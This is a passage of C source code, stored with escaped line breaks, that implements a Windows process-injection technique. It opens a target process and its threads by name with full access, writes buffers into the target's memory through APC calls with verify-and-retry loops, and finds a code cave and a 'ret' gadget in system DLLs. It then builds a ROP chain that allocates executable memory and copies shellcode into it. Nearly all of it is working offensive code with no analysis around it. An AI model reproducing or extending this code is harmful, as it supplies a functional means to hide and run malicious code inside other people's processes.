ESTATUS_INVALID;\r\n\tPVOID pvTempBuffer = NULL;\r\n\tDWORD dwNumberOfBytesRead = 0;\r\n\tBOOL bErr = FALSE;\r\n\tBOOL bIsMemoryEqual = FALSE;\r\n\r\n\tpvTempBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbExpectedBufferSize);\r\n\tif (NULL == pvTempBuffer)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbErr = ReadProcessMemory(\r\n\t\thProcess,\r\n\t\tpvRemoteAddress,\r\n\t\tpvTempBuffer,\r\n\t\tcbExpectedBufferSize,\r\n\t\t&dwNumberOfBytesRead\r\n\t\t);\r\n\tif (FALSE == bErr)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED;\r\n\t\tprintf(\"ReadProcessMemory error. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tif (dwNumberOfBytesRead != cbExpectedBufferSize)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tif (0 == memcmp(pvTempBuffer, pvExpectedBuffer, cbExpectedBufferSize))\r\n\t{\r\n\t\tbIsMemoryEqual = TRUE;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*pbIsMemoryEqual = bIsMemoryEqual;\r\n\r\nlblCleanup:\r\n\tif (NULL != pvTempBuffer)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\r\n\t\tpvTempBuffer = NULL;\r\n\t}\r\n\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_ApcWriteProcessMemoryNullTerminated(\r\n\tHANDLE hProcess, \r\n\tHANDLE hThread, \r\n\tPVOID pvBaseAddress, \r\n\tPVOID pvBuffer, \r\n\tDWORD dwBufferSize\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tBOOL bShouldStop = FALSE;\r\n\r\n\tdo\r\n\t{\r\n\t\teReturn = main_ApcWriteProcessMemoryNullTerminatedInternal(\r\n\t\t\thThread, \r\n\t\t\tpvBaseAddress, \r\n\t\t\tpvBuffer, \r\n\t\t\tdwBufferSize\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tSleep(100);\r\n\r\n\t\teReturn = main_IsProcessMemoryEqual(\r\n\t\t\thProcess,\r\n\t\t\tpvBaseAddress,\r\n\t\t\tpvBuffer,\r\n\t\t\tdwBufferSize,\r\n\t\t\t&bShouldStop\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tif (FALSE == bShouldStop)\r\n\t\t{\r\n\t\t\tprintf(\"[*] Data chunk written incorrectly, retrying...\\n\\n\\n\");\r\n\t\t}\r\n\r\n\t} while (FALSE == bShouldStop);\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcWriteProcessMemoryInternal(\r\n\tHANDLE hProcess, \r\n\tHANDLE hThread, \r\n\tPVOID pvBaseAddress, \r\n\tPVOID pvBuffer, \r\n\tDWORD dwBufferSize\r\n\t)\r\n{\r\n\tPWCHAR pwcPos = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPVOID pvTempBuffer = NULL;\r\n\tPVOID pvLocalBufferPointer = pvBuffer;\r\n\tPVOID pvRemoteBufferPointer = pvBaseAddress;\r\n\tDWORD dwBytesWritten = 0;\r\n\r\n\twhile (pvLocalBufferPointer < (PUCHAR)pvBuffer + dwBufferSize)\r\n\t{\r\n\t\tDWORD cbTempBufferSize = 0;\r\n\t\t\t\t\r\n\t\tpwcPos = (PWCHAR)pvLocalBufferPointer + wcsnlen_s(\r\n\t\t\t(LPWSTR)pvLocalBufferPointer, \r\n\t\t\t(dwBufferSize - dwBytesWritten) / sizeof(WCHAR)\r\n\t\t\t);\r\n\t\tif (0 == pwcPos)\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t\tif (pvLocalBufferPointer == pwcPos)\r\n\t\t{\r\n\t\t\tpvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + sizeof(UNICODE_NULL);\r\n\t\t\tpvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + sizeof(UNICODE_NULL);\r\n\t\t\tdwBytesWritten += sizeof(UNICODE_NULL);\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tcbTempBufferSize = (PUCHAR)pwcPos - (PUCHAR)pvLocalBufferPointer;\r\n\r\n\t\tpvTempBuffer = HeapAlloc(\r\n\t\t\tGetProcessHeap(), \r\n\t\t\tHEAP_ZERO_MEMORY, \r\n\t\t\tcbTempBufferSize + sizeof(UNICODE_NULL)\r\n\t\t\t);\r\n\t\tif (NULL == pvTempBuffer)\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tmemcpy(pvTempBuffer, pvLocalBufferPointer, cbTempBufferSize);\r\n\r\n\t\teReturn = main_ApcWriteProcessMemoryNullTerminated(\r\n\t\t\thProcess, \r\n\t\t\thThread, \r\n\t\t\tpvRemoteBufferPointer, \r\n\t\t\tpvTempBuffer, \r\n\t\t\tcbTempBufferSize + sizeof(UNICODE_NULL)\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t\tpvRemoteBufferPointer = (PUCHAR)pvRemoteBufferPointer + cbTempBufferSize;\r\n\t\tpvLocalBufferPointer = (PUCHAR)pvLocalBufferPointer + cbTempBufferSize;\r\n\t\tdwBytesWritten += cbTempBufferSize;\r\n\t\t\r\n\t\tif (NULL != pvTempBuffer)\r\n\t\t{\r\n\t\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\r\n\t\t\tpvTempBuffer = NULL;\r\n\r\n\t\t}\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\tif (NULL != pvTempBuffer)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, pvTempBuffer);\r\n\t\tpvTempBuffer = NULL;\r\n\t}\r\n\r\n\treturn eReturn;\r\n\r\n\r\n}\r\n\r\nESTATUS main_ApcWriteProcessMemory(\r\n\tHANDLE hProcess,\r\n\tHANDLE hThread,\r\n\tPVOID pvBaseAddress,\r\n\tPVOID pvBuffer,\r\n\tDWORD dwBufferSize\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tBOOL bShouldStop = FALSE;\r\n\r\n\tdo\r\n\t{\r\n\t\teReturn = main_ApcWriteProcessMemoryInternal(\r\n\t\t\thProcess,\r\n\t\t\thThread,\r\n\t\t\tpvBaseAddress,\r\n\t\t\tpvBuffer,\r\n\t\t\tdwBufferSize\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tSleep(100);\r\n\r\n\t\teReturn = main_IsProcessMemoryEqual(\r\n\t\t\thProcess, \r\n\t\t\tpvBaseAddress, \r\n\t\t\tpvBuffer, \r\n\t\t\tdwBufferSize, \r\n\t\t\t&bShouldStop\r\n\t\t\t);\r\n\t\tif (ESTATUS_FAILED(eReturn))\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tif (bShouldStop)\r\n\t\t{\r\n\t\t\tprintf(\"[*] New verification: Data chunk written successfully.\\n\\n\\n\");\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tprintf(\"[*] New Verification: Data written incorrectly, retrying...\\n\\n\\n\");\r\n\r\n\t} while (TRUE);\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_ApcSetThreadContext(\r\n\tHANDLE hProcess, \r\n\tHANDLE hThread, \r\n\tPCONTEXT ptContext, \r\n\tPVOID pvRemoteAddress\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\teReturn = main_ApcWriteProcessMemory(\r\n\t\thProcess,\r\n\t\thThread,\r\n\t\t(PVOID)((PUCHAR)pvRemoteAddress),\r\n\t\tptContext,\r\n\t\tFIELD_OFFSET(CONTEXT, ExtendedRegisters)\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_ApcSetThreadContextInternal(hThread, (PCONTEXT)((PUCHAR)pvRemoteAddress));\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_ApcCopyFunctionPointers(\r\n\tHANDLE hProcess, \r\n\tHANDLE hThread, \r\n\tPVOID pvRemoteAddress\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tFUNCTIONPOINTERS tFunctionPointers = { 0 };\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tKERNEL32, \r\n\t\tLOADLIBRARYA, \r\n\t\t&tFunctionPointers.pfnLoadLibraryA\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tKERNEL32, \r\n\t\tGETPROCADDRESS, \r\n\t\t&tFunctionPointers.pfnGetProcAddress\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = main_ApcWriteProcessMemory(\r\n\t\thProcess, \r\n\t\thThread, \r\n\t\tpvRemoteAddress, \r\n\t\t&tFunctionPointers, \r\n\t\tsizeof(tFunctionPointers)\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_GetProcessIdByName(LPWSTR pszProcessName, PDWORD pdwProcessId)\r\n{\r\n\tDWORD dwProcessId = 0;\r\n\tHANDLE hSnapshot = NULL;\r\n\tPROCESSENTRY32 pe = { 0 };\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n\tif (NULL == hSnapshot)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR;\r\n\t\tprintf(\"CreateToolhelp32Snapshot error. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpe.dwSize = sizeof(PROCESSENTRY32);\r\n\tif (FALSE == Process32First(hSnapshot, &pe))\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR;\r\n\t\tprintf(\"Process32First error. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdo\r\n\t{\r\n\t\tif (NULL != wcsstr(pe.szExeFile, pszProcessName))\r\n\t\t{\r\n\t\t\tdwProcessId = pe.th32ProcessID;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t} while (Process32Next(hSnapshot, &pe));\r\n\r\n\tif (0 == dwProcessId)\r\n\t{\r\n\t\tprintf(\"[*] Process '%S' could not be found.\\n\\n\\n\", pszProcessName);\r\n\t\teReturn = ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"[*] Found process '%S'. PID: %d (0x%X).\\n\\n\\n\", pszProcessName, dwProcessId, dwProcessId);\r\n\t*pdwProcessId = dwProcessId;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\tif ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))\r\n\t{\r\n\t\tCloseHandle(hSnapshot);\r\n\t\thSnapshot = NULL;\r\n\t}\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_OpenProcessByName(LPWSTR pszProcessName, PHANDLE phProcess)\r\n{\r\n\tHANDLE hProcess = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwPid = 0;\r\n\r\n\teReturn = main_GetProcessIdByName(pszProcessName, &dwPid);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\thProcess = OpenProcess(\r\n\t\tPROCESS_ALL_ACCESS,\r\n\t\tFALSE,\r\n\t\tdwPid\r\n\t\t);\r\n\tif (NULL == hProcess)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR;\r\n\t\tprintf(\"OpenProcess error. GLE: %d.\", GetLastError());\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"[*] Opened process's handle: %d (0x%X).\\n\\n\\n\", hProcess, hProcess);\r\n\t*phProcess = hProcess;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_GetSectionHeader(\r\n\tHMODULE hModule, \r\n\tPSTR pszSectionName, \r\n\tPIMAGE_SECTION_HEADER *pptSectionHeader\r\n\t)\r\n{\r\n\tPIMAGE_DOS_HEADER ptDosHeader = NULL;\r\n\tPIMAGE_NT_HEADERS ptNtHeaders = NULL;\r\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tBOOL bFound = FALSE;\r\n\r\n\tptDosHeader = (PIMAGE_DOS_HEADER)hModule;\r\n\tif (IMAGE_DOS_SIGNATURE != ptDosHeader->e_magic)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tptNtHeaders = (PIMAGE_NT_HEADERS)(((DWORD)ptDosHeader) + (PUCHAR)ptDosHeader->e_lfanew);\r\n\tif (FALSE != IsBadReadPtr(ptNtHeaders, sizeof(IMAGE_NT_HEADERS)))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\tif (IMAGE_NT_SIGNATURE != ptNtHeaders->Signature)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tptSectionHeader = IMAGE_FIRST_SECTION(ptNtHeaders);\r\n\r\n\tfor (int i = 0; i < ptNtHeaders->FileHeader.NumberOfSections; i++)\r\n\t{\r\n\t\tif (0 == strncmp(pszSectionName, (PCHAR)ptSectionHeader->Name, IMAGE_SIZEOF_SHORT_NAME))\r\n\t\t{\r\n\t\t\tbFound = TRUE;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tptSectionHeader++;\r\n\t}\r\n\r\n\tif (FALSE == bFound)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*pptSectionHeader = ptSectionHeader;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)\r\n{\r\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\r\n\tPVOID pvCodeCave = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tHMODULE hNtDll = NULL;\r\n\r\n\thNtDll = GetModuleHandleA(\"kernelbase.dll\");\r\n\tif (NULL == hNtDll)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED;\r\n\t}\r\n\r\n\teReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpvCodeCave = (PVOID) (\r\n\t\t(DWORD) hNtDll + \r\n\t\tptSectionHeader->VirtualAddress + \r\n\t\tptSectionHeader->SizeOfRawData\r\n\t\t);\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ppvCodeCave = pvCodeCave;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_FindRetGadget(PVOID *ppvRetGadget)\r\n{\r\n\tPIMAGE_SECTION_HEADER ptSectionHeader = NULL;\r\n\tPVOID pvCodeCave = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tHMODULE hNtDll = NULL;\r\n\tPVOID pvRetGadget = NULL;\r\n\r\n\thNtDll = GetModuleHandleA(NTDLL);\r\n\tif (NULL == hNtDll)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED;\r\n\t}\r\n\r\n\teReturn = main_GetSectionHeader(hNtDll, TEXT_SECTION, &ptSectionHeader);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpvRetGadget = memchr(\r\n\t\thNtDll + ptSectionHeader->VirtualAddress, \r\n\t\tX86_RET, \r\n\t\tptSectionHeader->SizeOfRawData\r\n\t\t);\r\n\tif (NULL == pvRetGadget)\r\n\t{\r\n\t\teReturn = ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ppvRetGadget = pvRetGadget;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n}\r\ntypedef struct _ROPCHAIN\r\n{\r\n\t// Return address of ntdll!ZwAllocateMemory\r\n\tPVOID pvMemcpy;\r\n\r\n\t// Params for ntdll!ZwAllocateMemory\r\n\tHANDLE ZwAllocateMemoryhProcess;\r\n\tPVOID ZwAllocateMemoryBaseAddress;\r\n\tULONG_PTR ZwAllocateMemoryZeroBits;\r\n\tPSIZE_T ZwAllocateMemoryRegionSize;\r\n\tULONG ZwAllocateMemoryAllocationType;\r\n\tULONG ZwAllocateMemoryProtect;\r\n\r\n\t// Return address of ntdll!memcpy\r\n\tPVOID pvRetGadget;\r\n\r\n\t// Params for ntdll!memcpy\t\r\n\tPVOID MemcpyDestination;\r\n\tPVOID MemcpySource;\r\n\tSIZE_T MemcpyLength;\r\n\r\n} ROPCHAIN, *PROPCHAIN;\r\n\r\nESTATUS main_BuildROPChain(\r\n\tPVOID pvROPLocation, \r\n\tPVOID pvShellcodeLocation, \r\n\tPROPCHAIN ptRopChain\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tROPCHAIN tRopChain = { 0 };\r\n\r\n\ttRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();\r\n\r\n\ttRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tROPCHAIN, \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tMemcpyDestination\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\r\n\ttRopChain.ZwAllocateMemoryZeroBits = NULL;\r\n\r\n\ttRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tROPCHAIN, \r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tMemcpyLength)\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\r\n\ttRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;\r\n\ttRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;\r\n\ttRopChain.MemcpyDestination = (PVOID)0x00;\r\n\ttRopChain.MemcpySource = pvShellcodeLocation;\r\n\ttRopChain.MemcpyLength = sizeof(SHELLCODE);\r\n\t\r\n\teReturn = GetFunctionAddressFromDll(\r\n\t\tNTDLL, \r\n\t\tMEMCPY, \r\n\t\t&tRopChain.pvMemcpy\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tprintf(\"ntdll!memcpy: 0x%X\", tRopChain.pvMemcpy);\r\n\r\n\t// Find a ret instruction in order to finally jump to the \r\n\t// newly allocated executable shellcode.\r\n\teReturn = main_FindRetGadget(&tRopChain.pvRetGadget);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*ptRopChain = tRopChain;\r\n\r\nlblCleanup:\r\n\r\n\treturn eReturn;\r\n\r\n}\r\n\r\nESTATUS main_EnumProcessThreadIds(\r\n\tHANDLE hProcess, \r\n\tPDWORD *ppdwThreadIds, \r\n\tPDWORD pcbThreadIdsSize, \r\n\tPDWORD pdwNumberOfProcessThreads\r\n\t)\r\n{\r\n\tHANDLE hSnapshot = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tTHREADENTRY32 tThreadEntry;\r\n\tBOOL bErr = FALSE;\r\n\tDWORD dwProcessId = 0;\r\n\tPDWORD pdwThreadIds = NULL;\r\n\tDWORD cbThreadIdsSize = 0;\r\n\tDWORD dwNumberOfMatchingThreads = 0;\r\n\r\n\tdwProcessId = GetProcessId(hProcess);\r\n\r\n\thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n\tif (INVALID_HANDLE_VALUE == hSnapshot)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\ttThreadEntry.dwSize = sizeof(THREADENTRY32);\r\n\tbErr = Thread32First(hSnapshot, &tThreadEntry);\r\n\tif (FALSE == bErr)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tdo\r\n\t{\r\n\t\tif (tThreadEntry.th32OwnerProcessID != dwProcessId)\r\n\t\t{\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tcbThreadIdsSize += sizeof(tThreadEntry.th32ThreadID);\r\n\t\tif (sizeof(tThreadEntry.th32ThreadID) == cbThreadIdsSize)\r\n\t\t{\r\n\r\n\t\t\tpdwThreadIds = (PDWORD) HeapAlloc(\r\n\t\t\t\tGetProcessHeap(), \r\n\t\t\t\tHEAP_ZERO_MEMORY, \r\n\t\t\t\tcbThreadIdsSize\r\n\t\t\t\t);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tpdwThreadIds = (PDWORD) HeapReAlloc(\r\n\t\t\t\tGetProcessHeap(), \r\n\t\t\t\tHEAP_ZERO_MEMORY, \r\n\t\t\t\tpdwThreadIds, \r\n\t\t\t\tcbThreadIdsSize\r\n\t\t\t\t);\r\n\t\t}\r\n\t\tif (NULL == pdwThreadIds)\r\n\t\t{\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\r\n\t\tpdwThreadIds[dwNumberOfMatchingThreads++] = tThreadEntry.th32ThreadID;\r\n\r\n\t} while (bErr = Thread32Next(hSnapshot, &tThreadEntry));\r\n\r\n\t*ppdwThreadIds = pdwThreadIds;\r\n\t*pcbThreadIdsSize = cbThreadIdsSize;\r\n\t*pdwNumberOfProcessThreads = dwNumberOfMatchingThreads;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\tif ((NULL != hSnapshot) && (INVALID_HANDLE_VALUE != hSnapshot))\r\n\t{\r\n\t\tCloseHandle(hSnapshot);\r\n\t\thSnapshot = NULL;\r\n\t}\r\n\t\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tif (NULL != pdwThreadIds)\r\n\t\t{\r\n\t\t\tHeapFree(GetProcessHeap(), 0, pdwThreadIds);\r\n\t\t\tpdwThreadIds = NULL;\r\n\t\t}\r\n\t}\r\n\r\n\treturn eReturn;\r\n}\r\n\r\nVOID main_CloseLocalHandleArray(PHANDLE phHandles, DWORD cbHandleCount)\r\n{\r\n\tfor (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)\r\n\t{\r\n\t\tif (NULL != phHandles[dwIndex])\r\n\t\t{\r\n\t\t\tCloseHandle(phHandles[dwIndex]);\r\n\t\t\tphHandles[dwIndex] = NULL;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nVOID main_CloseRemoteHandleArray(\r\n\tHANDLE hProcess,\r\n\tPHANDLE phHandles,\r\n\tDWORD cbHandleCount\r\n\t)\r\n{\r\n\tfor (DWORD dwIndex = 0; dwIndex < cbHandleCount; dwIndex++)\r\n\t{\r\n\t\tHANDLE hTemp = NULL;\r\n\r\n\t\tif (NULL != phHandles[dwIndex])\r\n\t\t{\r\n\t\t\tDuplicateHandle(\r\n\t\t\t\thProcess,\r\n\t\t\t\tphHandles[dwIndex],\r\n\t\t\t\tGetCurrentProcess(),\r\n\t\t\t\t&hTemp,\r\n\t\t\t\t0,\r\n\t\t\t\tFALSE,\r\n\t\t\t\tDUPLICATE_CLOSE_SOURCE\r\n\t\t\t\t);\r\n\t\t\tphHandles[dwIndex] = NULL;\r\n\t\t}\r\n\r\n\t\tif (NULL != hTemp)\r\n\t\t{\r\n\t\t\tCloseHandle(hTemp);\r\n\t\t\thTemp = NULL;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nESTATUS main_EnumProcessThreads(\r\n\tHANDLE hProcess, \r\n\tPHANDLE *pphProcessThreadsHandles, \r\n\tPDWORD pcbProcessThreadsHandlesSize, \r\n\tPDWORD pdwNumberOfProcessThreads\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tPDWORD pdwProcessThreadIds = NULL;\r\n\tDWORD cbProcessThreadIdsSize = 0;\r\n\tDWORD dwNumberOfProcessThreads = 0;\r\n\tPHANDLE phProcessThreadsHandles = NULL;\r\n\r\n\teReturn = main_EnumProcessThreadIds(\r\n\t\thProcess, \r\n\t\t&pdwProcessThreadIds, \r\n\t\t&cbProcessThreadIdsSize, \r\n\t\t&dwNumberOfProcessThreads\r\n\t\t);\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tcbProcessThreadIdsSize = dwNumberOfProcessThreads * sizeof(HANDLE);\r\n\tphProcessThreadsHandles = (PHANDLE) HeapAlloc(\r\n\t\tGetProcessHeap(), \r\n\t\tHEAP_ZERO_MEMORY, \r\n\t\tcbProcessThreadIdsSize\r\n\t\t);\r\n\tif (NULL == phProcessThreadsHandles)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tfor (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)\r\n\t{\r\n\t\tDWORD dwThreadId = pdwProcessThreadIds[dwIndex];\r\n\r\n\t\tphProcessThreadsHandles[dwIndex] = OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId);\r\n\t\tif (NULL == phProcessThreadsHandles[dwIndex])\r\n\t\t{\r\n\t\t\teReturn = ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED;\r\n\t\t\tgoto lblCleanup;\r\n\t\t}\r\n\t}\r\n\r\n\t*pphProcessThreadsHandles = phProcessThreadsHandles;\r\n\t*pcbProcessThreadsHandlesSize = cbProcessThreadIdsSize;\r\n\t*pdwNumberOfProcessThreads = dwNumberOfProcessThreads;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\tif (NULL != pdwProcessThreadIds)\r\n\t{\r\n\t\tHeapFree(GetProcessHeap(), 0, pdwProcessThreadIds);\r\n\t\tpdwProcessThreadIds = NULL;\r\n\t}\r\n\tif (ESTATUS_FAILED(eReturn))\r\n\t{\r\n\t\tmain_CloseLocalHandleArray(phProcessThreadsHandles, dwNumberOfProcessThreads);\r\n\r\n\t\tif (NULL != phProcessThreadsHandles)\r\n\t\t{\r\n\t\t\tHeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);\r\n\t\t\tphProcessThreadsHandles = NULL;\r\n\t\t}\r\n\t}\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_GetThreadContext(\r\n\tHANDLE hThread, \r\n\tDWORD dwContextFlags, \r\n\tPCONTEXT ptContext\r\n\t)\r\n{\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tDWORD dwErr = 0;\r\n\tBOOL bErr = FALSE;\r\n\tCONTEXT tContext = { NULL };\r\n\r\n\ttContext.ContextFlags = 